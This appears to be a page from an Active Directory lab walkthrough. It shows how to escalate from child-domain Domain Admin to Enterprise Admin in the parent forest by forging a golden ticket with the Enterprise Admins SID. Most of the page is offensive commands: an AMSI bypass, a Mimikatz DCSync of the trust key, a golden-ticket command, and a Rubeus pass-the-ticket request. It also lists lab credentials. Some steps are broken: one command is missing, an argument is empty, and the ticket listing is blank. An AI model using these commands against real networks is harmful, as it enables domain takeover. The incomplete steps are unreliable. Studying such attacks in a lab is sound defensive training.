Trust key


How it works

Once you gain Domain Admin privileges within the child domain its possible to get Enterprise Admin in the parent domain by generating a golden ticket in the child domain with the SID of the Enterprise Admin group.


Executing the attack

The attack is executed from the perspective of already gaining domain admin privileges. This is done in the unconstrained delegation section:

pageUnconstrained Delegation
  1. For easy execution, login on WS01 as the Administrator user with the password Welcome01!.

  2. Start PowerShell as Administrator and load a amsi bypass and MimiKatz into memory.

3. DCsync the trust key with MimiKatz:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:amsterdam\bank$"'

4. Retrieve the SID of the enterprise Admins group, using PowerView:

Get-DomainGroup "Enterprise Admins" -Domain bank.local | Select-Object samaccountname, objectsid

5. Retrieve the domain SID from the child domain, using PowerView:


6. Create a TGT for the krbtgt user and save it to disk with MimiKatz:

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:<FQDN CHILD DOMAIN> /sid:<SID CHILD DOMAIN> /sids:<SIDS OF ENTERPRISE ADMIN GROUP OF TARGET> /rc4:<TRUST KEY HASH> /service:krbtgt /target:<FQDN PARENT DOMAIN> /ticket:<PATH TO SAVE TICKET>"'

7. Create a TGS for the CIFS service with Rubeus.exe using the created TGT:

.\Rubeus.exe asktgs /ticket:trustkey.kirbi /service:CIFS/ / /ptt

List the tickets:




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